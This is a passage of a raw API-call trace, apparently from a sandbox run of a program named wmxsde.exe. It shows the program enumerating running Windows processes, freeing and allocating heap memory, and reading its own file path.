dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.275] lstrlenW (lpString="svchost.exe") returned 11 [0045.275] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.276] lstrlenW (lpString="dwm.exe") returned 7 [0045.276] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.276] lstrlenW (lpString="svchost.exe") returned 11 [0045.276] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.277] lstrlenW (lpString="svchost.exe") returned 11 [0045.277] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.277] lstrlenW (lpString="svchost.exe") returned 11 [0045.277] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.291] lstrlenW (lpString="svchost.exe") returned 11 [0045.291] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.291] lstrlenW (lpString="svchost.exe") returned 11 [0045.291] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.292] lstrlenW (lpString="svchost.exe") returned 11 [0045.292] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.293] lstrlenW (lpString="svchost.exe") returned 11 [0045.293] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.293] lstrlenW (lpString="svchost.exe") returned 11 [0045.293] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.294] lstrlenW (lpString="svchost.exe") returned 11 [0045.294] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.295] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.295] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.295] lstrlenW (lpString="svchost.exe") returned 11 [0045.295] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.296] lstrlenW (lpString="svchost.exe") returned 11 [0045.296] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.297] lstrlenW (lpString="audiodg.exe") returned 11 [0045.297] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0045.297] lstrlenW (lpString="sihost.exe") returned 10 [0045.297] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.298] lstrlenW (lpString="svchost.exe") returned 11 [0045.298] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0045.299] lstrlenW (lpString="taskhostw.exe") returned 13 [0045.299] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0045.299] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0045.299] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0045.300] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0045.300] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.300] lstrlenW (lpString="explorer.exe") returned 12 [0045.300] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0045.301] lstrlenW (lpString="Memory Compression") returned 18 [0045.301] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0045.302] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0045.302] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0045.302] lstrlenW (lpString="SearchUI.exe") returned 12 [0045.302] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0045.303] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0045.303] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.304] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.304] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0045.304] lstrlenW (lpString="taskhostw.exe") returned 13 [0045.304] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0045.305] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0045.305] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0045.306] lstrlenW (lpString="UsoClient.exe") returned 13 [0045.306] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0045.306] lstrlenW (lpString="taskhostw.exe") returned 13 [0045.306] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0045.307] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0045.307] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0045.307] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0045.307] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0045.308] lstrlenW (lpString="msoia.exe") returned 9 [0045.308] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0045.309] lstrlenW (lpString="msoia.exe") returned 9 [0045.309] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0045.310] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0045.310] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0045.310] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0045.310] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0045.311] lstrlenW (lpString="xml-upper.exe") returned 13 [0045.311] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0045.312] lstrlenW (lpString="defeat preston.exe") returned 18 [0045.312] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0045.312] lstrlenW (lpString="surveillance.exe") returned 16 [0045.312] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0045.313] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0045.313] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0045.313] lstrlenW (lpString="deemed.exe") returned 10 [0045.313] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0045.314] lstrlenW (lpString="scored-prices.exe") returned 17 [0045.314] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0045.315] lstrlenW (lpString="understood.exe") returned 14 [0045.315] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0045.315] lstrlenW (lpString="lee.exe") returned 7 [0045.316] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0045.316] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0045.316] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0045.317] lstrlenW (lpString="romandisclosure.exe") returned 19 [0045.317] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0045.317] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0045.317] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0045.318] lstrlenW (lpString="dllhost.exe") returned 11 [0045.318] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0045.319] lstrlenW (lpString="product.exe") returned 11 [0045.319] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0045.320] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0045.320] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0045.320] lstrlenW (lpString="basin.exe") returned 9 [0045.320] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0045.321] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0045.321] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0045.322] lstrlenW (lpString="tested housewives.exe") returned 21 [0045.322] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.323] lstrlenW (lpString="conhost.exe") returned 11 [0045.323] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.323] lstrlenW (lpString="conhost.exe") returned 11 [0045.323] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.324] lstrlenW (lpString="svchost.exe") returned 11 [0045.324] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0045.333] lstrlenW (lpString="dllhost.exe") returned 11 [0045.333] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0045.334] lstrlenW (lpString="dllhost.exe") returned 11 [0045.334] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0045.334] lstrlenW (lpString="wmxsde.exe") returned 10 [0045.334] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0045.335] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0045.335] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.336] lstrlenW (lpString="conhost.exe") returned 11 [0045.336] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0045.336] CloseHandle (hObject=0x240) returned 1 [0045.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba390 | out: hHeap=0x6a0000) returned 1 [0045.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4f8 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b50f0 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b5450 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6048 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5318 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b5430 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b52d0 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6debd8 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de980 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b5270 | out: hHeap=0x6a0000) returned 1 [0045.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de818 | out: hHeap=0x6a0000) returned 1 [0045.337] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6e7700 [0045.337] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6f7708 [0045.337] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5288 [0045.338] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5288, Size=0x20) returned 0x6dec00 [0045.338] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dec00, Size=0x40) returned 0x6b9fa0 [0045.338] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5330 [0045.338] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5330, Size=0x20) returned 0x6de908 [0045.338] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5288 [0045.338] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5288, Size=0x20) returned 0x6debd8 [0045.338] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5438 [0045.338] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5438, Size=0x20) returned 0x6dec00 [0045.338] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dec00, Size=0x40) returned 0x6ba270 [0045.338] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6f7708, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wmxsde.exe")) returned 0x22 [0045.338] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x707710 [0045.338] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x717718 [0045.339] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5198 [0045.339] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5198, Size=0x20) returned 0x6deb10 [0045.339] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deb10, Size=0x40) returned 0x6ba618 [0045.339] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba618, Size=0x80) returned 0x6e4e20 [0045.339] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4e20, Size=0x100) returned 0x6e5f40 [0045.339] lstrlenW 